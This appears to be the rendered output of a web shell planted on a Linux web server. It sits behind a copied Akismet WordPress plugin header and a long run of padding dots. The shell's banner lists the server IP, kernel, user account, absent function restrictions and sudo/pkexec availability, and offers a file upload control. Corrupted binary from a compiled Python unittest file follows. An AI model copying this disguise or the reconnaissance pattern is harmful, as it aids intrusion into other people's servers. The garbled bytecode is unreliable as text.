#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/unittest/test/ |
Upload File : |
�
ۜSec @ sg d d l Z d d l Z d e j f d � � YZ d e j f d � � YZ e d k rc e j � n d S( i����Nt Test_Assertionsc B s, e Z d � Z d � Z d � Z d � Z RS( c C sH | j d d � | j d d � | j | j | j d d � | j | j | j d d � | j d d d d �| j | j | j d d d d �| j d d d d �| j d d d d �| j | j | j d d
d d �| j | j | j d d d d �| j t d
� t d
� � | j | j | j t d
� t d
� � d S( Ng�1� �?g �?g��� �?g�������?t placesi i g�������?y �������?t infy�������?�������?y�������?�������?y�������?�������?y�������?�������?( t assertAlmostEqualt assertNotAlmostEqualt assertRaisest failureExceptiont float( t self( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt test_AlmostEqual s$ c C sS | j d d d d �| j d d d d �| j d d d d �| j d d d d �| j | j | j d d d d �| j | j | j d d d d �| j t | j d d d d d d �| j t | j d d d d d d �t j j � } | t j d d � } | j | | d t j d d
� �| j | | d t j d d � �d S( Ng�������?g �?t deltag �?g�������?R i t secondsi
i i ( R R R R t TypeErrort datetimet nowt timedelta( R t firstt second( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt test_AmostEqualWithDelta s$ c C s� d � } | j t | t � | j t | t d � � y | j t d � � Wn) | j k
rw } | j d | j � n X| j d � y | j t | t � Wn t k
r� n X| j d � | j t � �* } y
t � Wn t k
r� } � n XWd QX| j | j | � | j t � � t d � � Wd QXy | j t � � Wd QXWn) | j k
rr} | j d | j � n X| j d � y | j t � � t � Wd QXWn t k
r�n X| j d � d S( Nc S s
| � d S( N( ( t e( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt _raise6 s t keyc S s d S( N( t None( ( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt <lambda>; s s KeyError not raiseds assertRaises() didn't fails0 assertRaises() didn't let exception pass through(
R t KeyErrorR t assertInt argst failt
ValueErrort Exceptiont assertIst exception( R R R t cm( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt test_assertRaises5 sB
c C s | j d d � y | j d d d � WnD | j k
rm } | j d | j d � | j d | j d � n X| j d � d S( Ns Ala ma kotas r+s k.tt Messages 'kot'i s* assertNotRegexpMatches should have failed.( t assertNotRegexpMatchesR R R R ( R R ( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt testAssertNotRegexpMatches^ s ( t __name__t
__module__R R R! R$ ( ( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyR s )t TestLongMessagec B s� e Z d Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z
d � Z d
� Z d � Z
d � Z d
� Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z RS( s� Test that the individual asserts honour longMessage.
This actually tests all the message behaviour for
asserts that use longMessage.c s` d t j f � f d � � Y} d t j f � f d � � Y} | d � � _ | d � � _ d S( Nt TestableTestFalsec s e Z e Z � j Z d � Z RS( c S s d S( N( ( R ( ( s5 /usr/lib64/python2.7/unittest/test/test_assertions.pyt testTests s ( R% R&